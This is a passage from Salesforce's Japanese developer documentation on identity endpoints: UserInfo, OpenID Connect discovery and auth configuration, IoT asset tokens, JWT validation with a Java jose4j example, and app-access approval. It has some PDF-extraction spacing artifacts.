イアントが通信できる重要なエンドポイント (写真、アクセス可能な API エンド
ポイントなど) を返します。UserInfo エンドポイントは、現在のユーザに対しての
み、情報へのアクセスを提供します。組織の他のユーザへのアクセスは提供し
ません。
URL の形式は https://login.salesforce.com/services/oauth2/userinfo

です。

メモ: Sandbox では、login.salesforce.com は test.salesforce.com

に置き換えられます。
URL は HTTPS を使用する必要があります。

UserInfo エンドポイントパラメータ
次のパラメータをアクセストークンおよび UserInfo エンドポイントで使用します。アクセストークンは、認証
要求ヘッダー、または oauth_token パラメータのある要求で使用できます。

説明パラメータ

「アクセストークンの使用」 (ページ 6803)を参照してください。アクセストークン

省略可能。返される出力の形式を指定します。値は次のとおりです。format

• json
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説明パラメータ

• xml

formatパラメータを使用する代わりに、クライアントは次のいずれかを使
用して、受け入れ要求ヘッダーの返される形式も指定できます。
• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

次の点に注意してください。
• ワイルドカードを受け入れるヘッダーが許可されます。*/*が受け入れ

られ、JSON を返します。
• 値のリストも受け入れられ、左から右に確認されます。たとえば、

application/xml,application/json,application/html,*/* は
XML を返します。

• format パラメータは、受け入れ要求ヘッダーより優先されます。

省略可能。SOAP APIバージョン番号またはリテラル文字列 latestを指定し
ます。この値が指定されていない場合、返される API URL には、クライアン

version

トが文字列置換を実行するためのバージョン番号の代わりに、リテラル値
{version} が含まれます。値が latest として指定されると、最新の API

バージョンが使用されます。

このパラメータは省略可能で、ヘッダー内でのみ使用できます。URL パラ
メータとしては使用できません。サイズではなく読みやすさを目的として、

PrettyPrint

返される XML または JSON 出力を最適化するために指定します。たとえば、
ヘッダーで X-PrettyPrint:1 を使用します。

省略可能。有効な JavaScript 関数名を指定します。指定した形式が JSON の場
合、このパラメータを使用できます。出力はこの関数名 (JSONP) でラップさ

callback

れます。たとえば、https://server/id/orgid/userid/ に対する要求
では {"foo":"bar"} を返し、
https://server/id/orgid/userid/?callback=bazに対する要求では
baz({"foo":"bar"}); を返します。

UserInfo エンドポイントの応答
有効な要求を作成したら、JSON 形式 (デフォルト) または Format パラメータで指定した形式で情報が返されま
す。
応答には、「OpenID Connect Basic Client Profile」に含まれる値、Salesforceユーザ ID、組織 ID、フィード、およびプ
ロファイルの URL が含まれます。
JSON 形式の応答は、次のとおりです。
{"sub":"http://login.salesforce.com/id/00Dx000.../005x000...",
"user_id":"005x000...","organization_id":"00Dx000...",
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"preferred_username":"user1@1135222488950007.com",
"nickname":"user1.3860098879512678E12",
"name":"yourInstance LastName",
"email":"user1@1135222488950007.com",
"email_verified":true,"given_name":"yourInstance","family_name":"LastName",
"zoneinfo":"America/Los_Angeles",
"photos":{"picture":"https://yourInstance.salesforce.com/profilephoto/005/F","thumbnail":"https://yourInstance.salesforce.com/profilephoto/005/T"},
"profile":"https://yourInstance.salesforce.com/005x000...",
"picture":"https://yourInstance.salesforce.com/profilephoto/005/F",
"address":{"country":"us"},
"urls":{"enterprise":"https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx00...",
"
"partner":"https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"https://yourInstance.salesforce.com/services/data/v{version}/",
"sobjects":"https://yourInstance.salesforce.com/services/data/v{version}/sobjects/",
"search":"https://yourInstance.salesforce.com/services/data/v{version}/search/",
"query":"https://yourInstance.salesforce.com/services/data/v{version}/query/",
"recent":"https://yourInstance.salesforce.com/services/data/v{version}/recent/",
"profile":"https://yourInstance.salesforce.com/005x000...",
"feeds":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/groups",
"users":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/users",
"feed_items":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/feed-items"},
"active":true,"user_type":"STANDARD","language":"en_US","locale":"en_US","utcOffset":-28800000,"updated_at":"2013-12-02T18:46:42.000+0000"}

XML 形式の応答は、次のとおりです。
<?xml version="1.0" encoding="UTF-8"?>
<user>
<sub>http://login.salesforce.com/id/00Dx000.../005x000...</sub>
<user_id>005x000...</user_id>
<organization_id>00Dx000...</organization_id>
<preferred_username>user1@1135222488950007.com</preferred_username>
<nickname>user1.3860098879512678E12</nickname>
<name>user1 LastName</name>
<email>user1@1135222488950007.com</email>
<email_verified>true</email_verified>
<given_name>user1</given_name>
<family_name>LastName</family_name>
<zoneinfo>America/Los_Angeles</zoneinfo>
<photos>
<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>
<thumbnail>https://yourInstance.salesforce.com/profilephoto/005/T</thumbnail></photos>
<profile>https://yourInstance.salesforce.com/005x000...</profile>
<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>
<address>
<country>us</country>
</address>
<urls>
<enterprise>https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000002rIh1</enterprise>
<metadata>https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000002rIh1</metadata>
<partner>https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000002rIh1</partner>
<rest>https://yourInstance.salesforce.com/services/data/v{version}/</rest>
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<sobjects>https://yourInstance.salesforce.com/services/data/v{version}/sobjects/</sobjects>
<search>https://yourInstance.salesforce.com/services/data/v{version}/search/</search>
<query>https://yourInstance.salesforce.com/services/data/v{version}/query/</query>
<recent>https://yourInstance.salesforce.com/services/data/v{version}/recent/</recent>
<profile>https://yourInstance.salesforce.com/005x000...</profile>
<feeds>https://yourInstance.salesforce.com/services/data/v{version}/chatter/feeds</feeds>
<groups>https://yourInstance.salesforce.com/services/data/v{version}/chatter/groups</groups>
<users>https://yourInstance.salesforce.com/services/data/v{version}/chatter/users</users>
<feed_items>https://yourInstance.salesforce.com/services/data/v{version}/chatter/feed-items</feed_items>
</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<updated_at>2013-12-02T18:46:42.000Z</updated_at>
</user>

無効な要求には Salesforce から次のような応答が返されます。

要求の問題エラーコード

HTTP403 (forbidden) — HTTPS_Required

アクセストークンがない403 (forbidden) — Missing_OAuth_Token

アクセストークンが無効403 (forbidden) — Bad_OAuth_Token

異なる組織のユーザ403 (forbidden) — Wrong_Org

ユーザ ID または組織 ID が無効または間違って
いる

404 (not found) — Bad_Id

無効になったユーザまたは無効な組織404 (not found) — Inactive

ユーザに組織または情報への適切なアクセス権
がない

404 (not found) — No_Access

サイトの無効なエンドポイントへの要求404 (not found) — No_Site_Endpoint

サーバから応答がない404 (not found) — Internal Error

無効なバージョン406 (not acceptable) — Invalid_Version

無効なコールバック406 (not acceptable) — Invalid_Callback
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OpenID Connect 検出エンドポイント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

OpenID Connect 検出エンドポイントを使用して Salesforce OpenID Connect 設定に関す
る情報をクエリします。
OpenID Connect 検出エンドポイントは、Salesforce OpenID Connect 設定情報をクエリ
するために使用する静的なページです。セッションは不要です。Salesforce は、
エンドポイント、サポートされる範囲、および OpenID Connect 認証で使用するそ
の他の値に関する基本情報を返します。
URL の形式は
https://login.salesforce.com/.well-known/openid-configuration

です。

メモ: Sandbox では、login.salesforce.com は test.salesforce.com に置き換えられます。
URL は HTTPS を使用する必要があります。

OpenID Connect 検出エンドポイントの応答
この URL 要求では、JSON 形式で情報が返されます。
JSON 形式の応答を次に示します。
{"issuer":"https://login.salesforce.com",
"authorization_endpoint":"https://login.salesforce.com/services/oauth2/authorize",
"token_endpoint":"https://login.salesforce.com/services/oauth2/token",
"revocation_endpoint":"https://login.salesforce.com/services/oauth2/revoke",
"userinfo_endpoint":"https://login.salesforce.com/services/oauth2/userinfo",
"jwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api","web","full","chatter_api",
"visualforce","refresh_token","openid","profile","email",
"address","phone","offline_access", "custom_permissions"],
"response_types_supported":["code","token","token id_token"],
"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"display_values_supported":["page","popup","touch"],
"token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt"] }

認証設定エンドポイント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

認証設定エンドポイントは、シングルサインオンおよび認証プロバイダ設定で
の組織の SAML に関する情報をクエリするために使用できる静的ページです。
セッションは不要です。Salesforce のコミュニティまたはカスタムドメインでの
み使用できます。オンデマンドでこうした情報を必要とするアプリケーション
を開発するときに、この URL を使用します。
認証設定エンドポイントへの要求に対して、Salesforce は JSON 形式で基本情報を
返します。この情報には、コミュニティまたはカスタムドメインのユーザの認
証および登録設定、ブランドアセット、シングルサインオンサポートに関連す
るその他の値が含まれます。
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URL の形式は https://<コミュニティまたはカスタム URL>/.well-known/auth-configuration です。た
とえば、https://acme.my.salesforce.com/.well-known/auth-configuration のようになります。

認証設定エンドポイントの応答
認証設定エンドポイントは、JSON 形式でのみ情報を返します。
次にサンプル応答を示します。

メモ: UseNativeBrowserForAuthentication の値は、コミュニティの場合は常に false です。
次の値はコミュニティでのみ使用可能で、[私のドメイン] で作成されたカスタムドメインの場合は false

または Null です。
• SelfRegistrationEnabled

• SelfRegistrationUrl

• DefaultProfileForRegistration

• FooterText

• UsernamePasswordEnabled

{
"OrgId": "00DD00#########",
"Url": "https://acme.force.com/partners",
"LoginPage": {
"LoginPageUrl": "https://acme.force.com/partners/CommunitiesLogin",
"LogoUrl": "https://acme.force.com/partners/img/logo190.png",
"BackgroundColor": "#B1BAC1",
"SelfRegistrationEnabled": true,
"FooterText": "acme.com",
"UsernamePasswordEnabled": false

},
"SamlProviders": [{
"name": "ADFS",
"SsoUrl": "https://adfs.my.salesforce.com?so=00DB00#########"
},
{
"name": "SF Identity",
"SsoUrl": "https://sfid.my.salesforce.com?so=00DB00#########"
}],
"AuthProviders": [{
"name": "LinkedIn",
"IconUrl": "https://www.linkedin.com/logos/img/logo.png",
"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DB00000#########/LinkedIn"

},
{
"name": "Facebook",
"IconUrl": "https://www.facebook.com/logos/img/logo.png",
"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DB00000#########/Facebook"

}]
}
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モノのインターネットの ID のセキュリティ保護

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

アセットトークンとは、接続デバイスからの要求を検証してそのセキュリティ
を確保することを目的とするオープン標準ベースの JWT 認証トークンです。ア
セットトークンは、データのストリームやデバイスからのイベントを処理する
バックエンドサービスに対してデバイスを識別します。アセットトークンを使
用すると、Salesforce プラットフォームにデバイスデータを登録したり、顧客、
取引先、または取引先責任者に関する Salesforce CRM データにデバイスデータを
リンクしたりできます。このため、アセットトークンは、顧客に代わって操作
を行うのに役立ちます。また、アセットトークンイベントを使用してカスタム
ビジネスプロセスをサポートすることもできます。アセットトークンを使用す
ると、より積極的なサポートと、より予測的な顧客エンゲージメントを今までにないスケールでサポートでき
ます。
たとえば、顧客が接続デバイスを購入し、サポートコミュニティにアカウントを登録します。あなたの会社
は、デバイス登録エージェントとして機能するアプリケーション (モバイルアプリケーション、プロビジョニ
ングゲートウェイなど) を提供します。このアプリケーションを使用すると、ユーザはデバイスへの接続、サ
ポートコミュニティへのログイン、デバイスの登録ができます。コミュニティは、バックエンドのクラウド
サービスに対してデバイスを識別するアセットトークンを発行します。
登録の後、デバイスはアプリケーションから独立して動作でき、その状態と操作に関するデータをバックエン
ドサービスに定期的に送信します。バックエンドは、問題または問題の可能性を示す異常動作や異常状態を事
前に検出した場合、ケースを自動的に作成します。ケースはアセットに関連付けられます。アセットは、顧客
の取引先責任者レコードおよび会社のサポートプロセスに直接結び付けられます。デバイスは、インクトナー
などのリソースが少なくなったことを通知することもでき、マーケティングと販売の新しい機会の可能性を予
測します。
次の図は、アセットトークンを発行し、検証した後、アセットトークンを使用して接続デバイスのバックエン
ドサービスへのコールを保護する方法を示しています。詳細な手順を次に示します。
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アセットトークンの要求と発行
1. デバイスとやりとりするアプリケーションがAPIアクセス用のアクセストークンを要求します。このアプリ

ケーションは、デバイスとSalesforce間のブリッジとして機能する任意のアプリケーション (モバイルアプリ
ケーション、プロビジョニングゲートウェイなど) とすることができます。

2. Salesforce がアクセストークンを返します。
3. アプリケーションはデバイスと通信してメタデータを要求します。メタデータには、名前、デバイス ID、

シリアル番号、公開鍵、またはカスタム属性を含めることができます。
4. デバイスが、要求されたメタデータを返します。
5. アプリケーションはそのアクセストークンとデバイスのメタデータを Salesforce に送信し、アセットトーク

ンを要求します。
6. Salesforce は、要求の正当性を検証し、アプリケーションとユーザを認証します。
7. Salesforce はアセットトークンイベントレコードを発行し、デバイスを Service Cloud の既存のまたは新しいア

セットに関連付けます。カスタムビジネスプロセスをサポートするためにApexトリガでプラットフォーム
イベントを受信するように登録している場合、そのビジネスプロセスが実行されます。

8. Salesforce はアセットトークンをアプリケーションに返します。
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9. アプリケーションはアセットを登録し、アセットトークンをデバイスに提供します。これでデバイスは、
アプリケーションから独立して動作できます。

アセットトークンによるデバイスアクセスの承認
1. デバイスはそのデータまたはイベントをアセットトークンと共にバックエンドサービスに提示します。バッ

クエンドサービスはデバイス機能を提供します。たとえば、テレメトリデータを収集したり、デバイスの
パフォーマンスを監視したり、ユーザに代わってアクションを実行したりします。

2. バックエンドサービスは公開鍵を Salesforce に要求します。
3. Salesforce はデバイス固有の公開鍵を返します。
4. バックエンドサービスはアセットトークンを検証し、要求された操作に対してデバイスが承認されている

かどうかを判断します。
5. 必要に応じて、バックエンドサービスはアセットトークンを使用して、デバイスを所有する Salesforce 取引

先または取引先責任者を識別できます。

アセットトークンの実装の前提条件
アセットトークンに関する必須の前提条件と推奨の前提条件を完了します。
アセットトークンの使用と検証
Salesforce がアセットトークンを発行すると、デバイスはそのデータまたはイベントをアセットトークンと
共にバックエンドサービスに提示します。バックエンドサービスは納入商品トークンを検証し、要求され
た操作に対してデバイスが承認されているかどうかを判断します。デバイスとバックエンドサービス間の
通信のセキュリティを確保するための一般的な方法は、ベアラートークンシーケンスおよび JWT ベアラー
トークンの交換シーケンスです。標準のオープンソースライブラリを使用してアセットトークン JWT を検
証します。
アセットトークンの所有の証明
アセットの公開鍵を保有するアクタートークンを作成し、アセットの非公開鍵を使用してアクタートーク
ンに署名する場合、Salesforce は公開鍵をアセットトークンにバインドします。このパターンでは、
「Proof-of-Possession (所有の証明)」または「Holder-of-Key」として知られるメソッドの利用が可能になります。
発行時に Salesforceによって cnf要求にバインドされた公開鍵に対応する非公開鍵をアセットが保有してい
ることを証明できます。「所有の証明」では、トークンの発行先の実際のアセットによってトークンが提
示されたことがより確実に保証されます。

アセットトークンの実装の前提条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

アセットトークンに関する必須の前提条件と推奨の前提条件を完了します。
• [私のドメイン] を有効化する必要があります詳細は、Salesforce ヘルプの「私

のドメイン」を参照してください。
• 自己署名証明書を作成し、SHA-256 署名アルゴリズムで署名しておく必要が

あります。納入商品トークンは、Salesforce 組織によって保護された、組織に
固有の非公開鍵を使用してこのアルゴリズムで署名されます。非公開鍵は、
アセットトークン内にある対応する公開鍵を使用して検証できます。詳細
は、Salesforce ヘルプの「自己署名証明書の生成」を参照してください。
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• 必須ではありませんが、外部ユーザの Salesforce Identity を有効にすることを強くお勧めします。これにより、
顧客が納入商品トークンを登録できます。『External Identity Implementation Guide (External Identity 実装ガイド)』
の手順に従う場合、セルフ登録の実装の手順を完了します。コミュニティに外部ユーザとしてログインで
きることを確認します。

• JSON Web トークン (JWT) 形式について再確認が必要な場合は、RFC 7519仕様を参照することをお勧めします。
要求が JWT 内でどのように機能するか、JWT が JSON オブジェクトとしてどのように暗号化されるか、JWS 構
造を使用してオブジェクトがどのように保護されるかを理解しておく必要があります。

アセットトークンの使用と検証

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce がアセットトークンを発行すると、デバイスはそのデータまたはイベ
ントをアセットトークンと共にバックエンドサービスに提示します。バックエ
ンドサービスは納入商品トークンを検証し、要求された操作に対してデバイス
が承認されているかどうかを判断します。デバイスとバックエンドサービス間
の通信のセキュリティを確保するための一般的な方法は、ベアラートークンシー
ケンスおよび JWT ベアラートークンの交換シーケンスです。標準のオープンソー
スライブラリを使用してアセットトークン JWT を検証します。

ベアラートークンシーケンスでのアセットトークンの使用
ベアラートークンシーケンスは、OAuth トークン (Authorization: Bearer JWT) のように、クライアントが
アセットトークンを認証ヘッダーに提示するための簡単な共通メソッドです。コールごとに、1 つのトークン
が生成されます。ベアラートークンシーケンスはより簡単な方法を提供します。
次の図は、コミュニティのベアラートークンの交換を示しています。

コミュニティのベアラートークンの交換の例を次に示します。
POST /ingestapi HTTP/1.1
Host: api.devicebackend.com
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Content-Type: application/json
Authorization: Bearer
eyJraWQiOiJBc3NldHMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsiaHR0cDovL2xvY2F
saG9zdDo1MDAwIl0sIm5iZiI6MTQ1MjQ5MTc4OSwiaXNzIjoiaHR0cHM6Ly9hc3NldGlkLWRldmVsb3Blci1
lZGl0aW9uLm5hMS1ibGl0ejAzLnNvbWEuZm9yY2UuY29tIiwiY25mIjp7Imp3ayI6eyJrdHkiOiJSU0EiLCJ
lIjoiQVFBQiIsImtpZCI6ImRldmljZWtleSIsIm4iOiJqY3YxZndyQnFZa2NzeFBTSjR2cG03Yjc4cXZpTjl
3OXVieF9sUUhV0lEWDdOYUt2UGxQNmxGUDF3MHJZci0xelN1c0JGakxLeGhrVmJsSGRER3ZldDN4NUJmZ1p3
NXducmt3N1ZqYjZyeWNMNWhGOVBuOXU2Rndla3NXN0l4YnBqRVZQbEltT1I4Mkg0LXdOV053dzFCZ2xrVlJF
OTdsUFVMQlc0WlRwbkZiTW84a2owVVE0S2d2Ri13UnN1dmcwOVhaa1FPdnF4dFdHQ0pJUzJZSHoxUEw1cEll
TXFwMFlwSkxWZ3g1QXZHTDVHNXl0bVprX3JfZnl1QXJ4TGstdWZXNE1qSkw2Rmo4dzFLYnZ6YXhlMWlDbGQ
tdXRsd2JUWmtfN0daSUtsbVR4d1JGZkJqVWM4VzRsbFJoMDdFUXI0cThpNHVYeEJaQ3pEWjcyQWxXWHcifX0
sImlkIjoiMDViRDAwMDAwMDAwMDU2IiwiZXhwIjoxNDUzMDEwMTc1LCJhaWQiOiIwMmlEMDAwMDAwMTZHTVI
iLCJkaWQiOiI2YWM5YmMyMi0yYTQxLWI4NWEtYWY3Ni1jMTJlOWUzYmY4YmMifQ.LhGF8nkJVd3soE
7UjLujjTVIjMzbzwicWpJ6tLlFScX7Yc45nzv1ccDB2UHHj2R5aEZT4K8gfLAD8AHWHErhwVmHLkTeqtXok8 a-S1dg
QW_7-STybWl3Bf2xHXomm9ZdvL406UaZMOdCNrNDSqAZn0kgupo3orzkCC3YLCes1nc4iFIMKXbWCeRiEkGo
Przx09PnJqUA9nz74nyKo3-NhpZvy6o-qxAryeibUeOfrtG8wvbnjjbNEDukS-GU0rZTcW9KABboCT 13DLFM
5caFofNgcKE3W67zlJIcSAEgOSVNVoiFYwSlTvWiyxMIMabEOd8usAfwnIKk1XUYnuNG0w

{"some": "data"}

ベアラートークンシーケンスでのアセットトークンの使用
JWT ベアラートークンの交換シーケンスでは、クライアントが要求を生成し、対象システムにそのアセット
トークンの交換を要請して、OAuth トークンを受け取ります。このトークンをクライアントは以降のコールで
提示します。一連のコールを実施する場合や、対象がセッション志向の場合、この使用法がさらに効率的にな
る可能性があります。RFC 7523 仕様で定義された OAuth 2.0 クライアント認証の JWT ベアラートークンプロファ
イルを使用して、対象システムのセッションごとに 1 つのトークンが生成され、交換されます。
次の図は、コミュニティの JWT ベアラートークンの交換を示しています。
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この例では、まずアクセストークンを要求します。
POST /oauth2/token HTTP/1.1
Host: login.devicebackend.com
Content-Type: application/x-w w-form-urlencoded
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&subject_
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=ey
JraWQiOiIxOTgiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdF9oYXNoIjoiT1c2ajJfNF
pqcmU4cGFkREpYdEZEQSIsInN1YiI6Imh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20vaWQvMDB
EMzAwMDAwMDAwbWx4RUFBBLzAwNTMwMDAwMDAwZ0tWOEFBTSIsImF1ZCI6IjNVkc5OU94VHlFTUNR
M2dYdVgzMWx5c1gzUlFQNC5WajNFVnpsTXNWYnhGdlVlN1ZqWjBXY2pXdkdsQVU3QlBKRlpCU3lCR
1BpR3lIaG9qWjJCRTMiLCJpc3MiOiJodHRwwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwiZXhwI
joxNDUxNTExNjU2LCJpYXQiOjE0NTE1MTE1MzZ9.ervvV9H89ODomiXekq0_6SVkgxZkQGaJ8nKXj
t3VSCB46e7YiHN3lDg9BXFfT8NdtipCHpHNQCAJ38R-II_txVb1U-QE598sNK5aHVGNkyzoQnPIsL
VPFDZrWCi1v4FDGBfxtckiGWw_bN1x_FYO0qnLwaD5Fdz7kNdi_Xujvsf63tdW-nfWUoyld6-htu5
eDI3cergGz3itaYyJHpPF7od11ff6O2cW9YUVXQaOF1vcOPK1R23QTlxkPm5rNT2NnWyEWEm_v4Fj
TbqItNK5hgRQO6DYG1xmCkC6V1AD7AVIRbTF99-9f_c5t9BDR1x1AMDo6JKcHAVCafngdQ1jRNlML
0CGT92GgQ6PGD7Ea5oy1zqu7gub1vYpFrI_3s2tVD_2nRIAgQuSVW5ckSxcX4Xh6Qukiu1woKkM5H1
6_Pm5iY4jexXKkQDWlfsCsANtFCopYfOuX1lkm5DqqTwDJL3sixh5eQKr5gtKAd8jzgcV5rfalNcKt
gozW2cGyVO7Co9jjWqchs6ZyOo7Z8mZgxyBkYOI-r73Nv6vplrHgvWe3azGEcgYSl_NN4E0GWu2Qnf
4i9kjvwGwRN_YwMYthArkxYgE8FBt2xrPOq3GV09w4H3mGXHOWjB_H_C7uUPTztbGNDqX4w7R7NMd3
dY5Cu1WYUB_W1AV_BhhAoUUoAoE

返されたアクセストークンを次に示します。
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Content-Type: application/json;charset=UTF-8
{
"access_token": "AYDWAgEzUqeVsVtcA4ndY25qGFVyaId75im2glOV5Eoog2XajaEjdQlndD7RveqpL7G",
"token_type": "Bearer"

}

次に、アクセストークンを使用してサービス要求を実行します。
GET /resource HTTP/1.1
Host: mycommunity.my.salesforce.com
Authorization: Bearer AYDWAgEzUqeVsVtcA4ndY25qGFVyaId75im2glOV5Eoog2XajaEjdQlndD7RveqpL7G

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Content-Type: application/json;charset=UTF-8

{"some": "data"}

アセットトークンの検証
アセットトークンは標準の JWT です。つまり、検証は RFC 7519 仕様のセクション 7.2 の標準手順に従います。
JWT の検証には、独自の署名検証コードを記述するのではなく、オープンソースライブラリを使用することを
お勧めします。
1. アセットトークンを、ピリオド (.) 文字で区切った 3 つの部分に分割します。
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2. 改行、空白、他の追加の文字を使用しないという制限に従って、最初の部分をヘッダーとして Base64url で
復号化します。

3. 結果のオクテットシーケンスは UTF-8 で符号化された JSON オブジェクトです。
4. ヘッダーから kid (キー ID) 要求を抽出します。
5. 必要に応じて、このキーをキーエンドポイントから取得します。キーに /id/keys が付加されて、コミュ

ニティの URL (または私のドメインの URL) になります。

メモ: キー名は発行者に対して一意ですが、グローバルに一意ではありません。

6. RFC 7515 仕様に従って JWS を確認します。
a. header.payload. セクションで RSA SHA256 署名検証を実行します。
b. 結果を Base64url エンコードします。
c. 提示された署名と比較します。

JWT 検証のための一般的なオープンソースライブラリを次に示します。
Java

jose4j — Maven POM ファイルで次の宣言を使用できます。
<dependency><groupId>org.bitbucket.b_c</groupId><artifactId>jose4j</artifactId><version>0.4.4</ve
rsion></dependency>

.NET
Install-Package System.IdentityModel.Tokens.Jwt

Node
npm install jsonwebtoken

Python
pip install pyjwt

PHP
composer require firebase/php-jwt

Ruby
gem install jwt

次の Java の例は、jose4j を使用してアセットトークンを検証する方法を示しています。
package your.company

import org.jose4j.jwk.Ht psJwks;
import org.jose4j.jwt.JwtClaims;
import org.jose4j.jwt.consumer.InvalidJwtException;
import org.jose4j.jwt.consumer.JwtConsumer;
import org.jose4j.jwt.consumer.JwtConsumerBuilder;
import org.jose4j.keys.resolvers.HttpsJwksVerificationKeyResolver;
import org.json.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.ht p.HttpServlet;
import javax.servlet.ht p.HttpServletRequest;
import javax.servlet.ht p.HttpServletResponse;
import java.io.IOException;
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import java.io.PrintWriter;

public class IngestAPIExample extends HttpServlet {

private static final String ISSUER = "https://customercommunity.force.com";
private static final String KEY_ENDPOINT = ISSUER + "/id/keys";
private static final String AUDIENCE = "https://your.devicebackend.com";

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
boolean isValidAssetToken = false;
// Get the asset token from the HTTP Authorization header, removing the "Bearer "
String authHeader = request.getHeader("Authorization");
String assetToken = authHeader.substring(7);

// The HttpsJwksVerificationKeyResolver uses JWKs obtained from the HttpsJwks and
// selects the most appropriate one to use for verification based on the Key ID and

other factors
// provided in the header of the JWS/JWT.
HttpsJwks httpsJkws = new HttpsJwks(KEY_ENDPOINT);
HttpsJwksVerificationKeyResolver httpsJwksKeyResolver = new
HttpsJwksVerificationKeyResolver(httpsJkws);

// The JwtConsumer establishes the rules for Validation of our asset token.
JwtConsumer jwtConsumer = new JwtConsumerBuilder()
.setVerificationKeyResolver(httpsJwksKeyResolver)
.setRequireExpirationTime() // The JWT must have an expiration time.
.setAllowedClockSkewInSeconds(30) // Allow some leeway in validating time-based

claims to account for clock skew.
.setExpectedIssuer(ISSUER) // Entity that the asset token must be issued by.
.setExpectedAudience(AUDIENCE) // Entity that the asset token is intended for.
.build(); // Create the JwtConsumer instance.

try {
// Validate the JWT and process it to the Claims.
JwtClaims jwtClaims = jwtConsumer.processToClaims(assetToken);
isValidAssetToken = true;

} catch (InvalidJwtException e) {
// InvalidJwtException thrown if the asset token failed processing or validation.

System.out.println("Invalid Asset Token: " + e);
}

// If your asset token is valid, do something here with your data. For purposes of our
example, we’re done.

PrintWriter out = response.getWriter();
JSONObject r = new JSONObject();
r.put("valid", isValidAssetToken);
out.close();

}
}
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アセットトークンの所有の証明

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

アセットの公開鍵を保有するアクタートークンを作成し、アセットの非公開鍵
を使用してアクタートークンに署名する場合、Salesforceは公開鍵をアセットトー
クンにバインドします。このパターンでは、「Proof-of-Possession (所有の証明)」
または「Holder-of-Key」として知られるメソッドの利用が可能になります。発行
時に Salesforceによって cnf 要求にバインドされた公開鍵に対応する非公開鍵を
アセットが保有していることを証明できます。「所有の証明」では、トークン
の発行先の実際のアセットによってトークンが提示されたことがより確実に保
証されます。
保有者は、TLS 相互認証、HTTP 要求の署名、チャレンジの署名など、さまざまな
メカニズムを使用して非公開鍵の所有を証明できます。
「所有の証明」の実装についての詳細は、次のドキュメントを参照してください。
• https://tools.ietf.org/html/draft-ietf-oauth-pop-architecture-07

• https://tools.ietf.org/html/draft-ietf-oauth-proof-of-possession-11

• https://tools.ietf.org/html/draft-sakimura-oauth-rjwtprof-06

アプリケーションアクセス要求

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

使用中の外部アプリケーションが Salesforce データへのアクセスを要求していま
す。外部アプリケーションはシステム管理者によってすでに Salesforce に統合さ
れています。
このアプリケーションによる Salesforceデータへのアクセスを許可するには、[許
可] をクリックします。
アプリケーションの説明が使用中のアプリケーションと一致しない場合、また
はデータへのアクセスを許可したくない別の理由がある場合は、[拒否]をクリッ
クします。
ログインしているユーザが自分以外である場合、[あなたのログイン名ではあり
ませんか?] をクリックして現在のユーザをログアウトし、自分自身としてログ
インします。
外部アプリケーションに、指定した回数のみアクセス権を付与できます。通常、
ラップトップやデスクトップなど、使用するデバイスごとにアクセス権を付与
します。デフォルトの回数はアプリケーションあたり 5 です。組織の制限数に
達した場合、このアプリケーションにアクセス権を付与すると、最も長い時間
使用されていないアクセストークンへのアクセス権が取り消されます。ページ
には、取り消されるリモートアクセスアプリケーショントークンが表示されます。
リモートアクセスアプリケーションにアクセス権を付与した後、そのアクセス権を取り消すには、個人情報に
移動します。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選

択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

2. OAuth の [接続アプリケーション] セクションでは、次の操作を実行できます。
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アクセスを付与した各接続アプリケーション、アプリケーションが情報へのアクセスを試行した回数、
および最後のアクセス時間に関する情報を表示します。

•

メモ:

– 1 つの接続アプリケーションが複数回表示される場合があります。アプリケーションにアクセ
ス権を付与するたびに、アプリケーションは新しいアクセストークンを取得します。更新トー
クンの要求により、使用回数が増加します。また、OAuth 2.0 接続アプリケーションが、範囲が
異なる複数のトークンを要求すると、同じアプリケーションが複数回表示されます。

– 接続アプリケーションがログインできなかったために情報にアクセスできなかった場合でも、
